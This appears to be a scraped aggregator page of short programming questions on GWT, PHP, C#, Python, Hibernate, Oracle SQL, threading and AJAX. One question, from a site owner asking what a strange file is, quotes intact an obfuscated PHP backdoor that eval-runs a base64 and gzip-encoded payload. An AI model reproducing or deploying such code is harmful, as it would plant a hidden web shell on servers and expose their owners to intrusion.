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• RequestBuilder timeouts and browser connection limits per domain.

  - by WesleyJohnson

  This is specifically about GWT's RequestBuilder, but should apply to general XHR as well. My company is having me build a near realtime chat application over HTTP. Yes, I do realize there are better ways to do chat aplications, but this is what they want. Eventually we want it working on the iPad/iPhone as well so flash is out, which rules out websockets and comet as well, I think? Anyway, I'm running into issues were I've set GWT's RequestBuilder timeout to 10 seconds and we get very random and sporadic timeouts. We've got error handling and emailing on the server side and never get any errors, which suggests the underlying XHR request that RequestBuilder is built on, never gets to the server and times out after 10 seconds. We're using these request to poll the server for new messages rather often and also for sending new messages to the server and also polling (less frequently) for other parts of application. What I'm afraid of is that we're running into the browsers limit on concurrent connections to the same domain (2 for IE by default?). Now my question is - If I construct a RequestBuilder and call it's send() method and the browser blocks it from sending until one of the 2 connections per domain is free, does the timeout still start while the request is being blocked or will it not start until the browser actually releases the underlying XHR? I hope that's clear, if not please let me know and I'll try to explain more.

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• Weird PHP file on my website

  - by sam

  Today i noticed that there was a strange new file called "noivil.php" on my webspace. The contents of it are very long and I have no idea what it does! <?php $k='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';$r='YmFzZTY0X2RlY29kZQ==';$rr='WjNwMWJtTnZiWEJ5WlhOeg==';$rrr=base64_decode($r);$rrrr=$rrr($rrr($rr));eval($rrrr($rrr($k))); When I run it it just outputs some random stuff I don't understand. My questions: What is this? Where did it come from? Is it a virus/trojan? What does it exactly do? You are better at PHP than me, maybe you can tell what it is Thanks in advance

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• Exception when click DataGridview tab c#, .Net 4.0

  - by Nguyen Nam

  My winform app have two tab and multi thread, one is main tab and other is log tab. I only use log tab to show logs in a datagridview control. Exception is random occurred when click to log tab (Not click to row or colunm), i have try but can not find anyway to fix it. This is the error log: Message : Object reference not set to an instance of an object. Source : System.Windows.Forms TargetSite : System.Windows.Forms.DataGridViewElementStates GetRowState(Int32) StackTrace : at System.Windows.Forms.DataGridViewRowCollection.GetRowState(Int32 rowIndex) at System.Windows.Forms.DataGridView.ComputeHeightOfFittingTrailingScrollingRows(Int32 totalVisibleFrozenHeight) at System.Windows.Forms.DataGridView.GetOutOfBoundCorrectedHitTestInfo(HitTestInfo& hti, Int32& mouseX, Int32& mouseY, Int32& xOffset, Int32& yOffset) at System.Windows.Forms.DataGridView.OnMouseMove(MouseEventArgs e) at System.Windows.Forms.Control.WmMouseMove(Message& m) at System.Windows.Forms.Control.WndProc(Message& m) at System.Windows.Forms.DataGridView.WndProc(Message& m) at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m) at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m) at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam) Message : Object reference not set to an instance of an object. Source : System.Windows.Forms TargetSite : Void ClearInternal(Boolean) StackTrace : at System.Windows.Forms.DataGridViewRowCollection.ClearInternal(Boolean recreateNewRow) at System.Windows.Forms.DataGridView.OnClearingColumns() at System.Windows.Forms.DataGridViewColumnCollection.Clear() at System.Windows.Forms.DataGridView.Dispose(Boolean disposing) at System.ComponentModel.Component.Dispose() at System.Windows.Forms.Control.Dispose(Boolean disposing) at System.ComponentModel.Component.Dispose() at System.Windows.Forms.Control.Dispose(Boolean disposing) at System.Windows.Forms.TabControl.Dispose(Boolean disposing) at System.ComponentModel.Component.Dispose() at System.Windows.Forms.Control.Dispose(Boolean disposing) at System.Windows.Forms.Form.Dispose(Boolean disposing) Update status code: private void updateMessage(int index, string message) { try { this.dgForums.Rows[index].Cells["ColStatus"].Value = message; System.Windows.Forms.Application.DoEvents(); } catch { } }

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• Python finding substring between certain characters using regex and replace()

  - by jCuga

  Suppose I have a string with lots of random stuff in it like the following: strJunk ="asdf2adsf29Value=five&lakl23ljk43asdldl" And I'm interested in obtaining the substring sitting between 'Value=' and '&', which in this example would be 'five'. I can use a regex like the following: match = re.search(r'Value=?([^&>]+)', strJunk) >>> print match.group(0) Value=five >>> print match.group(1) five How come match.group(0) is the whole thing 'Value=five' and group(1) is just 'five'? And is there a way for me to just get 'five' as the only result? (This question stems from me only having a tenuous grasp of regex) I am also going to have to make a substitution in this string such such as the following: val1 = match.group(1) strJunk.replace(val1, "six", 1) Which yields: 'asdf2adsf29Value=six&lakl23ljk43asdldl' Considering that I plan on performing the above two tasks (finding the string between 'Value=' and '&', as well as replacing that value) over and over, I was wondering if there are any other more efficient ways of looking for the substring and replacing it in the original string. I'm fine sticking with what I've got but I just want to make sure that I'm not taking up more time than I have to be if better methods are out there.

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• Reverse-projection 2D points into 3D

  - by ehsan baghaki

  Suppose we have a 3d Space with a plane on it with an arbitary equation : ax+by+cz+d=0 now suppose that we pick 3 random points on that plane: (x0,y0,z0) (x1,y1,z1) (x1,y1,z1) now i have a different point of view(camera) for this plane. i mean i have a different camera that will look at this plane from a different point of view. From that camera point of view these points have different locations. for example (x0,y0,z0) will be (x0',y0') and (x1,y1,z1) will be (x1',y1') and (x2,y2,z2) will be (x2',y2') from the new camera point of view. So here is my a little hard question! I want to pick a point for example (X,Y) from the new camera point of view and tell where it will be on that plane. All i know is that 3 points and their locations on 3d space and their projection locations on the new camera view. Do you know the coefficients of the plane-equation and the camera positions (along with the projection), or do you only have the six points? - Nils i know the location of first 3 points. therefore we can calculate the coefficients of the plane. so we know exactly where the plane is from (0,0,0) point of view. and then we have the camera that can only see the points! So the only thing that camera sees is 3 points and also it knows their locations in 3d space (and for sure their locations on 2d camera view plane). and after all i want to look at camera view, pick a point (for example (x1,y1)) and tell where is that point on that plane. (for sure this (X,Y,Z) point should fit on the plane equation). Also i know nothing about the camera location.

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• Hibernate Transient Extends problem

  - by mrvreddy

  @MappedSuperclass public abstract class BaseAbstract implements Serializable{ private static final long serialVersionUID = 1L; protected String test = //some random value; public String getTest() { return test; } public void setTest(String test){ this.test = test; } } @Entity public class Artist extends BaseAbstract { private static final long serialVersionUID = 1L; private Integer id; @override @Transient public String getTest() { return test; } ..... } My question is... when i am trying to do any operation on the artist, along with id and name, test is also getting saved which should not be the case... if i add the same transient on the baseabstract class getTest() method, i see test column NOT getting created(ideally what it should happen) but if i try to override the method with adding annotaion in the sub class it creates the test column... I dont know why this is happening since when hibernate is creating the artist object and checks for annotations, it should see the transient annotation present on the getTest() of artist method...and should not create a column in the database... Let me know if you need any clarification.... Any response on this is greatly appreciated.... Thank you

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• Log in to subdomain via main domain

  - by Mattias

  I have a website, available through multiple domainnames. like www.domain1.com .... www.domain5.com All my customers have their own subdomain. like: customer1.domain1.com customer2.domain1.com .... customer351.domain4.com Currently i dont use SSL, each customer log in their own account via their sub domain. I want to change this, and make all customers log in on a central log in page, that would use SSL, for example. https://login.domain1.com And somehow redirect each user to the correct sub domain adress. (Sub domain that don't use SSL) How do I do this, and maintain security? One idea i had: Login - add random value somewhere in the database, Redirect to subdomain, with querystring the randomvalue. And after that the session takes care of it, Each value can be used once only.. But how secure is that? I guess someone would ask the question "why?" to me. Because SSL costs money. And unfortunately i dont have a lot of it. :D Thanks for your time!

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• Matlab fft function

  - by CTZStef

  The code below is from the Matlab 2011a help about fft function. I think there is a problem here : why do they multiply t(1:50) by Fs, and then say it's time in millisecond ? Certainly, it happens to be true in this very particular case, but change the value of Fs to, say, 2000, and it won't work anymore, obviously because of this factor of 2. Right ? Quite misleading, isn't it ? What do I miss ? Fs = 1000; % Sampling frequency T = 1/Fs; % Sample time L = 1000; % Length of signal t = (0:L-1)*T; % Time vector % Sum of a 50 Hz sinusoid and a 120 Hz sinusoid x = 0.7*sin(2*pi*50*t) + sin(2*pi*120*t); y = x + 2*randn(size(t)); % Sinusoids plus noise plot(Fs*t(1:50),y(1:50)) title('Signal Corrupted with Zero-Mean Random Noise') xlabel('time (milliseconds)') Clearer with this : fs = 2000; % Sampling frequency T = 1 / fs; % Sample time L = 1000; % Length of signal t2 = (0:L-1)*T; % Time vector f = 50; % signal frequency s2 = sin(2*pi*f*t2); figure, plot(fs*t2(1:50),s2(1:50)); % NOT good figure, plot(t2(1:50),s2(1:50)); % good

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• Memory management of objects returned by methods (iOS / Objective-C)

  - by iOSNewb

  I am learning Objective-C and iOS programming through the terrific iTunesU course posted by Stanford (http://www.stanford.edu/class/cs193p/cgi-bin/drupal/) Assignment 2 is to create a calculator with variable buttons. The chain of commands (e.g. 3+x-y) is stored in a NSMutableArray as "anExpression", and then we sub in random values for x and y based on an NSDictionary to get a solution. This part of the assignment is tripping me up: The final two [methods] “convert” anExpression to/from a property list: + (id)propertyListForExpression:(id)anExpression; + (id)expressionForPropertyList:(id)propertyList; You’ll remember from lecture that a property list is just any combination of NSArray, NSDictionary, NSString, NSNumber, etc., so why do we even need this method since anExpression is already a property list? (Since the expressions we build are NSMutableArrays that contain only NSString and NSNumber objects, they are, indeed, already property lists.) Well, because the caller of our API has no idea that anExpression is a property list. That’s an internal implementation detail we have chosen not to expose to callers. Even so, you may think, the implementation of these two methods is easy because anExpression is already a property list so we can just return the argument right back, right? Well, yes and no. The memory management on this one is a bit tricky. We’ll leave it up to you to figure out. Give it your best shot. Obviously, I am missing something with respect to memory management because I don't see why I can't just return the passed arguments right back. Thanks in advance for any answers!

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• Processing a database queue across multiple threads - design advice

  - by rwmnau

  I have a SQL Server table full of orders that my program needs to "follow up" on (call a webservice to see if something has been done with them). My application is multi-threaded, and could have instances running on multiple servers. Currently, every so often (on a Threading timer), the process selects 100 rows, at random (ORDER BY NEWID()), from the list of "unconfirmed" orders and checks them, marking off any that come back successfully. The problem is that there's a lot of overlap between the threads, and between the different processes, and their's no guarantee that a new order will get checked any time soon. Also, some orders will never be "confirmed" and are dead, which means that they get in the way of orders that need to be confirmed, slowing the process down if I keep selecting them over and over. What I'd prefer is that all outstanding orders get checked, systematically. I can think of two easy ways do this: The application fetches one order to check at a time, passing in the last order it checked as a parameter, and SQL Server hands back the next order that's unconfirmed. More database calls, but this ensures that every order is checked in a reasonable timeframe. However, different servers may re-check the same order in succession, needlessly. The SQL Server keeps track of the last order it asked a process to check up on, maybe in a table, and gives a unique order to every request, incrementing its counter. This involves storing the last order somewhere in SQL, which I wanted to avoid, but it also ensures that threads won't needlessly check the same orders at the same time Are there any other ideas I'm missing? Does this even make sense? Let me know if I need some clarification.

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• Best practices for encrytping continuous/small UDP data

  - by temp

  Hello everyone, I am having an application where I have to send several small data per second through the network using UDP. The application need to send the data in real-time (on waiting). I want to encrypt these data and insure that what I am doing is as secure as possible. Since I am using UDP, there is no way to use SSL/TLS, so I have to encrypt each packet alone since the protocol is connectionless/unreliable/unregulated. Right now, I am using a 128-bit key derived from a passphrase from the user, and AES in CBC mode (PBE using AES-CBC). I decided to use a random salt with the passphrase to derive the 128-bit key (prevent dictionary attack on the passphrase), and of course use IVs (to prevent statistical analysis for packets). However I am concerned about few things: Each packet contains small amount of data (like a couple of integer values per packet) which will make the encrypted packets vulnerable to known-plaintext attacks (which will result in making it easier to crack the key). Also, since the encryption key is derived from a passphrase, this will make the key space way less (I know the salt will help, but I have to send the salt through the network once and anyone can get it). Given these two things, anyone can sniff and store the sent data, and try to crack the key. Although this process might take some time, once the key is cracked all the stored data will be decrypted, which will be a real problem for my application. So my question is, what is the best practices for sending/encrypting continuous small data using a connectionless protocol (UDP)? Is my way the best way to do it? ...flowed? ...Overkill? ... Please note that I am not asking for a 100% secure solution, as there is no such thing. Cheers

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• C# Recursion SumOfOnlyNeg Elements

  - by Chris

  Hello, A array gets filled up with random elements (negative and positive). Now i want to calculate the sum of ONLY the postive elements. Iterative there is no problem, but in the recursion version i can only get the sum of both negative and postive. How can i "check" in the recursive version that it only sums up the Postive elements? Best Regards. Iterative version: public int IterSomPosElem(int[] tabel, int n) { n = 0; for (int i = 0; i < tabel.Length; i++) { if (tabel[i] >= 0) { n += tabel[i]; } } return n; } Recursive version atm (sums up all the elements insteed, of only the positive) public int RecuSomPosElem(int[] tabel, int n) { if(n == 1) return tabel[0]; //stopCriterium else { return (tabel[n - 1] + RecuSomPosElem(tabel, n - 1)); // how to check, so it only sums up the postive elements and "ignores" the negative elements. } }

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• Thread mutex behaviour

  - by Alberteddu

  Hi there, I'm learning C. I'm writing an application with multiple threads; I know that when a variable is shared between two or more threads, it is better to lock/unlock using a mutex to avoid deadlock and inconsistency of variables. This is very clear when I want to change or view one variable. int i = 0; /** Global */ static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; /** Thread 1. */ pthread_mutex_lock(&mutex); i++; pthread_mutex_unlock(&mutex); /** Thread 2. */ pthread_mutex_lock(&mutex); i++; pthread_mutex_unlock(&mutex); This is correct, I think. The variable i, at the end of the executions, contains the integer 2. Anyway, there are some situations in which I don't know exactly where to put the two function calls. For example, suppose you have a function obtain(), which returns a global variable. I need to call that function from within the two threads. I have also two other threads that call the function set(), defined with a few arguments; this function will set the same global variable. The two functions are necessary when you need to do something before getting/setting the var. /** (0) */ /** Thread 1, or 2, or 3... */ if(obtain() == something) { if(obtain() == somethingElse) { // Do this, sometimes obtain() and sometimes set(random number) (1) } else { // Do that, just obtain(). (2) } } else { // Do this and do that (3) // If # of thread * 3 > 10, then set(3*10) For example. (4) } /** (5) */ Where I have to lock, and where I have to unlock? The situation can be, I think, even more complex. I will appreciate an exhaustive answer. Thank you in advance. —Alberto

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• Unit Testing - Algorithm or Sample based ?

  - by ohadsc

  Say I'm trying to test a simple Set class public IntSet : IEnumerable<int> { Add(int i) {...} //IEnumerable implementation... } And suppose I'm trying to test that no duplicate values can exist in the set. My first option is to insert some sample data into the set, and test for duplicates using my knowledge of the data I used, for example: //OPTION 1 void InsertDuplicateValues_OnlyOneInstancePerValueShouldBeInTheSet() { var set = new IntSet(); //3 will be added 3 times var values = new List<int> {1, 2, 3, 3, 3, 4, 5}; foreach (int i in values) set.Add(i); //I know 3 is the only candidate to appear multiple times int counter = 0; foreach (int i in set) if (i == 3) counter++; Assert.AreEqual(1, counter); } My second option is to test for my condition generically: //OPTION 2 void InsertDuplicateValues_OnlyOneInstancePerValueShouldBeInTheSet() { var set = new IntSet(); //The following could even be a list of random numbers with a duplicate var values = new List<int> { 1, 2, 3, 3, 3, 4, 5}; foreach (int i in values) set.Add(i); //I am not using my prior knowledge of the sample data //the following line would work for any data CollectionAssert.AreEquivalent(new HashSet<int>(values), set); } Of course, in this example, I conveniently have a set implementation to check against, as well as code to compare collections (CollectionAssert). But what if I didn't have either ? This is the situation when you are testing your real life custom business logic. Granted, testing for expected conditions generically covers more cases - but it becomes very similar to implementing the logic again (which is both tedious and useless - you can't use the same code to check itself!). Basically I'm asking whether my tests should look like "insert 1, 2, 3 then check something about 3" or "insert 1, 2, 3 and check for something in general" EDIT - To help me understand, please state in your answer if you prefer OPTION 1 or OPTION 2 (or neither, or that it depends on the case, etc )

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• Cannot make a static reference to the non-static type MyRunnable

  - by kaiwii ho

  Here is the whole code : import java.util.ArrayList; public class Test{ ThreadLocal<ArrayList<E>>arraylist=new ThreadLocal<ArrayList<E>>(){ @Override protected ArrayList<E> initialValue() { // TODO Auto-generated method stub //return super.initialValue(); ArrayList<E>arraylist=new ArrayList<E>(); for(int i=0;i<=20;i++) arraylist.add((E) new Integer(i)); return arraylist; } }; class MyRunnable implements Runnable{ private Test mytest; public MyRunnable(Test test){ mytest=test; // TODO Auto-generated constructor stub } @Override public void run() { System.out.println("before"+mytest.arraylist.toString()); ArrayList<E>myarraylist=(ArrayList<E>) mytest.arraylist.get(); myarraylist.add((E) new Double(Math.random())); mytest.arraylist.set(myarraylist); System.out.println("after"+mytest.arraylist.toString()); } // TODO Auto-generated method stub } public static void main(String[] args){ Test test=new Test<Double>(); System.out.println(test.arraylist.toString()); new Thread(new MyRunnable(test)).start(); new Thread(new MyRunnable(test)).start(); System.out.println(arraylist.toString()); } } my questions are: 1\ why the new Thread(new MyRunnable(test)).start(); cause the error: Cannot make a static reference to the non-static type MyRunnable ? 2\ what is the static reference refer to right here? thx in advanced

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• Round date to 10 minutes interval

  - by Peter Lang

  I have a DATE column that I want to round to the next-lower 10 minute interval in a query (see example below). I managed to do it by truncating the seconds and then subtracting the last digit of minutes. WITH test_data AS ( SELECT TO_DATE('2010-01-01 10:00:00', 'YYYY-MM-DD HH24:MI:SS') d FROM dual UNION SELECT TO_DATE('2010-01-01 10:05:00', 'YYYY-MM-DD HH24:MI:SS') d FROM dual UNION SELECT TO_DATE('2010-01-01 10:09:59', 'YYYY-MM-DD HH24:MI:SS') d FROM dual UNION SELECT TO_DATE('2010-01-01 10:10:00', 'YYYY-MM-DD HH24:MI:SS') d FROM dual UNION SELECT TO_DATE('2099-01-01 10:00:33', 'YYYY-MM-DD HH24:MI:SS') d FROM dual ) -- #end of test-data SELECT d, TRUNC(d, 'MI') - MOD(TO_CHAR(d, 'MI'), 10) / (24 * 60) FROM test_data And here is the result: 01.01.2010 10:00:00    01.01.2010 10:00:00 01.01.2010 10:05:00    01.01.2010 10:00:00 01.01.2010 10:09:59    01.01.2010 10:00:00 01.01.2010 10:10:00    01.01.2010 10:10:00 01.01.2099 10:00:33    01.01.2099 10:00:00 Works as expected, but is there a better way? EDIT: I was curious about performance, so I did the following test with 500.000 rows and (not really) random dates. I am going to add the results as comments to the provided solutions. DECLARE t TIMESTAMP := SYSTIMESTAMP; BEGIN FOR i IN ( WITH test_data AS ( SELECT SYSDATE + ROWNUM / 5000 d FROM dual CONNECT BY ROWNUM <= 500000 ) SELECT TRUNC(d, 'MI') - MOD(TO_CHAR(d, 'MI'), 10) / (24 * 60) FROM test_data ) LOOP NULL; END LOOP; dbms_output.put_line( SYSTIMESTAMP - t ); END; This approach took 03.24 s.

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• [FIXED] Scan file contents into an array of a structure.

  - by ZaZu

  Hello, I have a structure in my program that contains a particular array. I want to scan a random file with numbers and put the contents into that array. This is my code : ( NOTE : This is a sample from a bigger program, so I need the structure and arrays as declared ) The contents of the file are basically : 5 4 3 2 5 3 4 2 #include<stdio.h> #define first 500 #define sec 500 struct trial{ int f; int r; float what[first][sec]; }; int trialtest(trial *test); main(){ trial test; trialtest(&test); } int trialtest(trial *test){ int z,x,i; FILE *fin; fin=fopen("randomfile.txt","r"); for(i=0;i<5;i++){ fscanf(fin,"%5.2f\t",(*test).what[z][x]); } fclose(fin); return 0; } But the problem is, whenever this I run this code, I get this error : (25) : warning 508 - Data of type 'double' supplied where a pointer is required I tried adding do{ for(i=0;i<5;i++){ q=fscanf(fin,"%5.2f\t",(*test).what[z][x]); } }while(q!=EOF); But that didnt work either, it gives the same error. Does anyone have a solution to this problem ?

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• Druapl & Regular PHP Integration

  - by user333128

  I'm building a new website which has one core application and many content pages. Content pages are mostly dynamic and I require a way to manage this dynamic content on a regular basis. The core application's main functionality is a 3 step process or reading user data (input page), reading data from MySQL (product page) and submitting an application to an email address (application page). Ideally I would like to build the core application in regular PHP and leverage Drupal for its content management capabilities. Can Drupal and regular PHP be integrated as I suggest easily? My feeling is that coding the core application as a Drupal module(s) will add layers of complexity that could be difficult to code from the outset and maintain later on as the system matures - so I would really like to just use regular PHP. Let me explain where dynamic content (managed by the CMS) intersects with the core application: Dynamic content such as FAQ data is used both on the 'normal' help pages and also within a mini-feed displayed within core application pages down a right hand side column. In this column, 3 random questions are pulled from the database and displayed as a feed. When users click on FAQ question they are not taken away from the core application product page but are instead shown data in a pop-up window displaying the question and answer. In addition, users can browse other questions and answers through a simple navigation menu within this popup. There are 3 such like feeds as I describe above that I require on the core application product page. So, what is the ideal solution here in terms of 'keeping things simple' for both the management of dynamic content and the ease of coding the core application? Can 'regular PHP' and Drupal co-exist 'peacefully'? If so, how is this technically possible? Because there is some content managed by Drupal contained within core application pages, can the core application still be coded in regular PHP? Any advice / suggestions? Thank you! Jim.

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• jquery ajax result with a wrong format

  - by ???

  I am facing a problem which is the result processed by AJAX, this situation is I would like to pass the result (from AJAX) 'f f f f \'' into get_option(''), I don't know why it become like this:- <li \'');="" f="" onclick="get_option('f" class="option normal_size"> <a href="javascript:void(0);">f f f f \'</a> </li> What I want is :- <li onclick="get_option('f f f f\'')" class="option normal_size"> <a href="javascript:void(0);">f f f f \'</a> </li> I guess the problem might be the space, but I don't know how to solve it, can anyone do me a favour? my AJAX coding is:- .ajax({ url:'inc_board_saving.php?board_title_input='+board_title_input_encode+'&cate_selected='+cate_selected_input_encode+'&cate_setting_selected='+cate_setting_selected, type:'GET', data:"nums="+Math.random()*1235, success: function(data){ try{ var content=""; var obj = eval('('+data+')'); for (var i=0;i<obj.length;i++){ content += "<li class='option normal_size' onclick=get_option('"+obj[i].board_name_encode+"');><a href='javascript:void(0);'>"+obj[i].board_name+"</a></li>"; } }catch(e){ return; } } }); Result:- [{"board_id":"66","board_name":"f f f f '","board_name_encode":"f f f f \'"},{"board_id":"65","board_name":"t t t t t","board_name_encode":"t t t t t"},{"board_id":"64","board_name":"yy yyy yy","board_name_encode":"yy yyy yy"}] Thanks all

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• Randomly Position A Div

  - by Connie

  I'm looking for a way to randomly position a div anywhere on a page (ONCE per load). I'm currently programming a PHP-based fantasy pet simulation game. One of the uncommon items on the game is a "Four Leaf Clover." Currently, users gain "Four Leaf Clovers" through random distribution - but I would like to change that (it's not interactive enough!). What I Am Trying To Do: The idea is to make users search for these "Four Leaf Clovers" by randomly placing this image anywhere on the page: (my rendition of a four leaf clover) I'd like to do this using a Java/Ajax script that generates a div, and then places it anywhere on the page. And does not move it once it's been placed, until the page is reloaded. I've tried so many Google searches, and the closest thing that I've found so far is this (click), from this question. But, removing the .fadein, .delay, and .fadeout stopped the script from working entirely. I'm not by any means a pro with Ajax. Is what I'm trying to do even possible?

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• How to define 2-bit numbers in C, if possible?

  - by Eddy

